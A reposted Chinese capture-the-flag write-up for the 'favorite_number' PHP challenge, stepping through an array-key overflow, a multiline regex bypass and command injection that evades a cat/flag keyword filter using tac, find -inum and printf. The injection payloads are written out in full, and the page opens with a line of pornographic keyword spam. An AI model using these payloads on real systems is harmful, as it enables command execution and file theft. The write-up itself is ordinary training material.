日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

攻防世界【favorite_number】解题方法

發布時間:2024/1/18 编程问答 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 攻防世界【favorite_number】解题方法 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

攻防世界【favorite_number】解題方法

1. 簡單分析

進入場景,直接給出了php源碼

2. php數組下標溢出

第一層繞過:繞過數組的比較

  • php中使用$_POST["stuff"]接收數組,post請求中需要使用stuff[0]=admin&stuff[1]=user進行傳遞

  • 為了繞過$stuff[0] != 'admin',利用數組key溢出,把key設置為2^32,即4294967296
    構造payload如下

    stuff[4294967296]=admin&stuff[1]=user&num=123

3. 多行匹配

繞過第二層:正則匹配數字
正則表達式 "/^\d+$/im"的意思是匹配一串數字,不能有其它字符,但是/m是多行匹配,即只要有一行匹配成功,preg_match返回true
換行符的ascii碼為0x0a,所以構造如下payload

stuff[4294967296]=admin&stuff[1]=user&num=123%0als

4. 獲取目錄結構

繞過第三層:繞過過濾敏感關鍵字
php中有system函數,但是卻把cat、flag等關鍵字過濾掉了
所以為了獲取flag,需要先找到flag所在的位置
通過用&&(ascii碼為0x26)符號連接多條指令,獲取目錄結構

stuff[4294967296]=admin&stuff[1]=user&num=123%0acd ../..%26%26pwd%26%26ls


最終可以獲取目錄結構如下

5. 獲取文件類型

從前面可以知道,根目錄下有一個名為flag的文件或者目錄,通過指令

ls -l /

獲取詳細文件內容如下

6. 獲取flag的inode號

由第一個字符是-可知flag是一個文件,現在只剩下一個問題,如何在不使用cat、flag關鍵字的情況下讀取flag文件的內容
linux每個文件都有一個inode信息,inode結構用于指向一個文件,可以通過find加-inum參數:按照 inode 號搜索文件
首先獲取flag文件的inode號

ls -i /

7. tac顯示文件內容

最后再使用tac指令顯示flag文件的內容(tac功能同cat,唯一的區別是以行為單位倒序打印文件內容)
其中需要使用開單引號括起來find的結果

tac `find / -inum 4074724`

另一種方式

思路:把/flag關鍵字寫入到一個文件中,用tac讀出來,再以字符串作為tac的參數

cd /tmp printf /fla > test printf g >> test tac `tac test`

注意:

  • 需要切換到tmp目錄下,別的目錄有些沒有創建文件的權限
  • echo被過濾掉了,可以使用printf

總結

以上是生活随笔為你收集整理的攻防世界【favorite_number】解题方法的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。